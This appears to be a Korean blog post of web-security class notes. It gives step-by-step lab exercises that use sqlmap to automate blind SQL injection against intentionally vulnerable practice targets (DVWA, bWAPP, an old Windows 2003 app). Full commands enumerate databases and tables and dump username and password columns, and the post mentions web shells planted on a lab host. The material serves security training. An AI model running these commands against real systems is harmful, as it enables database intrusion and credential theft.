등등/웹 보안

웹 보안 - 5일차

공쓰기 2022. 5. 12. 16:34

* 블로그 등 보안 관련 안내 문구

- 본 블로그에서 알려준 내용으로 다른 웹사이트를 공격하시면 안됩니다.

- 실제 공격을 해서 발생한 결과에 대해서는 본 블로그 작성자는 책임을 지지 않습니다.

 

* CheckPoint.iso 파일 다운로드 하세요.

http://ha.do/vQe

 

* SQL인젝션 공격 자동화

- DB에 대한 정보가 없는 상태에서 DB에 하나씩 물어보고 YES or NO 형식으로 응답하면 그 정보를 모아서, DB이름, Table이름 등을 파악

- Blind SQL 인젝션의 일종 ----> 반복작업이 많아서 사람이 일일이 하기는 어려움  ---> 자동화도구를 사용하는 이유

 

실습) Kali Linux의 SQLmap을 이용해서 DVWA(Metasploitable2)에 SQL 인젝션 공격 자동화하기

- Kali Linux의 Firefox를 켜고 Meta2로 접속합니다.

- SQLmap의 문법

  $ sudo  sqlmap  -u  "[URL주소]"  --cookie="[쿠키값]"

- URL주소 : SQL injection (Blind) 메뉴에서 입력창에 1~5사이의 번호를 입력하면 나타나는 주소표시줄의 주소를 사용

   http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit

- 쿠키값 : 주소표시줄에 javascript:document.cookie 입력하면 화면에 쿠키값이 나타남

 

1단계) DB이름 알아내기

$ sudo  sqlmap  -u  "[URL주소]"  --cookie="[쿠키값]"  --dbs

 

$ sudo sqlmap -u ""  --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" --dbs

물어보는 내용이 있으면 Y/n ---> y           y/N ---> n   (대문자로 되어 있는 것을 선택)

 

2단계) Table이름 알아내기

$ sudo  sqlmap  -u  "[URL주소]"  --cookie="[쿠키값]"  -D  dvwa  --tables

   ----> guestbook, users

 

$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit"  --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa --tables

 

3단계) Column이름 알아내기

$ sudo  sqlmap  -u  "[URL주소]"  --cookie="[쿠키값]"  -D  dvwa  -T users  --columns

 

$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa -T users --columns

4단계) 로그인 계정과 비밀번호 알아내기

$ sudo  sqlmap  -u  "[URL주소]"  --cookie="[쿠키값]"  -D  dvwa  -T users  -C  user,password  --dump

 

$ sudo sqlmap -u "http://192.168.5.129/dvwa/vulnerabilities/sqli_blind/?id=3&Submit=Submit" --cookie="security=low; PHPSESSID=7461aaa5876220251126091c86823c15" -D dvwa -T users -C user,password --dump

( 선택지가 나오면 대문자 선택,  번호를 선택하는 경우 1번 선택 )

 

 

실습2) 같은 방법으로 Windows 2003에 해보기

cf. Deface실습한 흔적이 있으므로 아래 웹쉘을 이용해서 삭제하고 실습합니다.

http://192.168.5.131/1.jsp

http://192.168.5.131/uploadfile/1.jsp

http://192.168.5.131/uploadfile/browser.jsp

 

index.jsp  파일의 맨 오른쪽 끝에 Edit를 클릭

<BODY ~~~~~>

<DIV ~~~~></DIV>   ------------> 이줄을 삭제하고 저장

새로고침하면 됨

 

- URL은 DB와의 연결 부분이어야 하므로, 게시판의 글을 본 상태에서 주소표시줄을 복사하면 됨

http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3          (공지사항 또는 자유게시판 글)

 

- Cookie를 알아내려면  javascript:document.cookie 입력후 엔터

 

1단계) DB이름 알아내기

$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" --dbs

  ----> 04arg

 

2단계) Table이름 알아내기

$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D  04arg --tables

 

3단계) Column이름 알아내기

$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D 04arg -T tbl_member --columns

 

4단계) userid와 passwd 알아내기

$ sudo sqlmap -u "http://192.168.5.131/jsp/cmnt_view.jsp?uid=1&hits=3" --cookie="JSESSIONID=9EEACD0205903FB91A89532BC8878DFB" -D 04arg -T tbl_member -C userid,passwd --dump

blank가 나왔다 너무 오래된 버전이라 그럴수도 있다.

 

실습3) Beebox에 SQLmap을 실습해보기

 /SQL Injection - Blind - Boolean-Based/ 메뉴를 선택하고 검색창에 man이라고 넣음

----> 주소 표시줄 복사 ---> URL에 입력

 

1단계) DB이름 알아내기

available databases [4]:

[*] bWAPP

[*] drupageddon

[*] information_schema

[*] mysql

 

2단계) Table이름 알아내기

| blog     |

| heroes   |

| movies   |

| users    |

| visitors |

 

* Beebox에 대한 SQLmap 정리

$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" --dbs

$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP --tables

$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP -T users --columns

$ sudo sqlmap -u "http://192.168.5.132/bWAPP/sqli_4.php?title=man&action=search" --cookie="security_level=0; PHPSESSID=9ab9a2451cda9e68ed73bf7694c56360" -D bWAPP -T users -C login,password --dump